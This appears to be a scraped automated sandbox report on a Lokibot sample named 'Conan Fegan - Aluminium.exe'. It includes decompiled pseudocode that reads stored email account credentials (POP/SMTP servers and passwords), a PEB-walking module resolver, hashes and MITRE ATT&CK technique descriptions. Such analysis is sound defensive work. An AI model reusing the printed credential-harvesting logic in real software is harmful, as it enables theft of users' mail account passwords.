				intOrPtr _t47;
				void* _t71;
				void* _t75;
				void* _t77;

				_t72 = _a4;
				_t71 = E00404BEE(__ebx,  *_a4, L"EmailAddress");
				_t81 = _t71;
				if(_t71 != 0) {
					_push(__ebx);
					_t67 = E00404BEE(__ebx,  *_t72, L"Technology");
					_v16 = E00404BEE(_t37,  *_t72, L"PopServer");
					_v40 = E00404BA7(_t81,  *_t72, L"PopPort");
					_t40 = E00404BEE(_t37,  *_t72, L"PopAccount");
					_v8 = _v8 & 0x00000000;
					_v20 = _t40;
					_v24 = E00404C4E(_t71,  *_t72, L"PopPassword",  &_v8);
					_v28 = E00404BEE(_t67,  *_t72, L"SmtpServer");
					_v44 = E00404BA7(_t81,  *_t72, L"SmtpPort");
					_t45 = E00404BEE(_t67,  *_t72, L"SmtpAccount");
					_v12 = _v12 & 0x00000000;
					_v32 = _t45;
					_t47 = E00404C4E(_t71,  *_t72, L"SmtpPassword",  &_v12);
					_t77 = _t75 + 0x50;
					_v36 = _t47;
					if(_v8 != 0 || _v12 != 0) {
						E00405872( *0x49f934, _t71, 1, 0);
						E00405872( *0x49f934, _t67, 1, 0);
						_t74 = _v16;
						E00405872( *0x49f934, _v16, 1, 0);
						E00405781( *0x49f934, _v40);
						E00405872( *0x49f934, _v20, 1, 0);
						_push(_v8);
						E00405762(_v16,  *0x49f934, _v24);
						E00405872( *0x49f934, _v28, 1, 0);
						E00405781( *0x49f934, _v44);
						E00405872( *0x49f934, _v32, 1, 0);
						_push(_v12);
						E00405762(_t74,  *0x49f934, _v36);
						_t77 = _t77 + 0x88;
					} else {
						_t74 = _v16;
					}
					E0040471C(_t71);
					E0040471C(_t67);
					E0040471C(_t74);
					E0040471C(_v20);
					E0040471C(_v24);
					E0040471C(_v28);
					E0040471C(_v32);
					E0040471C(_v36);
				}
				return 1;
			}

0x0040d070
0x0040d080
0x0040d084
0x0040d086
0x0040d08c
0x0040d0a0
0x0040d0ae
0x0040d0bd
0x0040d0c0
0x0040d0c5
0x0040d0c9
0x0040d0e3
0x0040d0f2
0x0040d101
0x0040d104
0x0040d109
0x0040d110
0x0040d11e
0x0040d123
0x0040d126
0x0040d12d
0x0040d145
0x0040d154
0x0040d15a
0x0040d166
0x0040d174
0x0040d186
0x0040d18e
0x0040d19a
0x0040d1ac
0x0040d1ba
0x0040d1cc
0x0040d1d1
0x0040d1dd
0x0040d1e2
0x0040d1e7
0x0040d1e7
0x0040d1e7
0x0040d1eb
0x0040d1f1
0x0040d1f7
0x0040d1ff
0x0040d207
0x0040d20f
0x0040d217
0x0040d21f
0x0040d227
0x0040d230

Strings

SmtpPort, xrefs: 0040D0EB
SmtpAccount, xrefs: 0040D0FA
EmailAddress, xrefs: 0040D074
SmtpServer, xrefs: 0040D0DC
PopServer, xrefs: 0040D099
PopPort, xrefs: 0040D0A7
SmtpPassword, xrefs: 0040D117
Technology, xrefs: 0040D08D
PopPassword, xrefs: 0040D0D0
PopAccount, xrefs: 0040D0B6

Memory Dump Source

Source File: 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID: EmailAddress$PopAccount$PopPassword$PopPort$PopServer$SmtpAccount$SmtpPassword$SmtpPort$SmtpServer$Technology
API String ID: 0-2111798378
Opcode ID: 4f23c8655d16a9709c8d74bd686147b8dbb65e0931b573aa619d5bf1b9c89d18
Instruction ID: 091e628055053f5eef329adcdd4db079f25726ad560f051e033024c376855220
Opcode Fuzzy Hash: 4f23c8655d16a9709c8d74bd686147b8dbb65e0931b573aa619d5bf1b9c89d18
Instruction Fuzzy Hash: AE414EB5941218BADF127BE6DD42F9E7F76EF94304F21003AF600721B2C77A99609B48

Uniqueness

Uniqueness Score: -1.00%

Function 0040317B, Relevance: .0, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040317B(intOrPtr _a4) {
				signed int _v8;
				intOrPtr _v12;
				void* __ecx;
				intOrPtr _t17;
				void* _t21;
				intOrPtr* _t23;
				void* _t26;
				void* _t28;
				intOrPtr* _t31;
				void* _t33;
				signed int _t34;

				_push(_t25);
				_t1 =  &_v8;
				 *_t1 = _v8 & 0x00000000;
				_t34 =  *_t1;
				_v8 =  *[fs:0x30];
				_t23 =  *((intOrPtr*)( *((intOrPtr*)(_v8 + 0xc)) + 0xc));
				_t31 = _t23;
				do {
					_v12 =  *((intOrPtr*)(_t31 + 0x18));
					_t28 = E00402C77(_t34,  *((intOrPtr*)(_t31 + 0x28)));
					_pop(_t26);
					_t35 = _t28;
					if(_t28 == 0) {
						goto L3;
					} else {
						E004032EA(_t35, _t28, 0);
						_t21 = E00402C38(_t26, _t28, E00405D24(_t28) + _t19);
						_t33 = _t33 + 0x14;
						if(_a4 == _t21) {
							_t17 = _v12;
						} else {
							goto L3;
						}
					}
					L5:
					return _t17;
					L3:
					_t31 =  *_t31;
				} while (_t23 != _t31);
				_t17 = 0;
				goto L5;
			}

0x0040317f
0x00403180
0x00403180
0x00403180
0x0040318d
0x00403196
0x00403199
0x0040319b
0x004031a1
0x004031a9
0x004031ab
0x004031ac
0x004031ae
0x00000000
0x004031b0
0x004031b3
0x004031c2
0x004031c7
0x004031cd
0x004031e0
0x00000000
0x00000000
0x00000000
0x004031cd
0x004031d7
0x004031dd
0x004031cf
0x004031cf
0x004031d1
0x004031d5
0x00000000

Memory Dump Source

Source File: 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b57611fa40680ed248d57f37b4973e9bad199baf80beacdc2a2503593addd55
Instruction ID: 125f84157e295c2adc52e6f8c9cb261871d96e12da6c9e12f7e31892ee598d11
Opcode Fuzzy Hash: 5b57611fa40680ed248d57f37b4973e9bad199baf80beacdc2a2503593addd55
Instruction Fuzzy Hash: 0B01A272A10204ABDB21DF59C885E6FF7FCEB49761F10417FF804A7381D639AE008A64

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report Conan Fegan - Aluminium.exe

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: Lokibot

Yara Overview

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Overview

Signature Overview

AV Detection:

Compliance:

Spreading:

Software Vulnerabilities:

Networking:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Function 00403D74, Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 200
fileCOMMON

Function 0040650A, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67
COMMON

Function 00402B7C, Relevance: 3.0, APIs: 2, Instructions: 20
memoryCOMMON

Function 00406069, Relevance: 1.5, APIs: 1, Instructions: 12
COMMON

Function 004061C3, Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 151
COMMON

Function 00404E17, Relevance: 7.6, APIs: 5, Instructions: 72
networkCOMMON

Function 004040BB, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129
filememoryCOMMON

Function 00413866, Relevance: 4.6, APIs: 3, Instructions: 147
synchronizationCOMMON

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre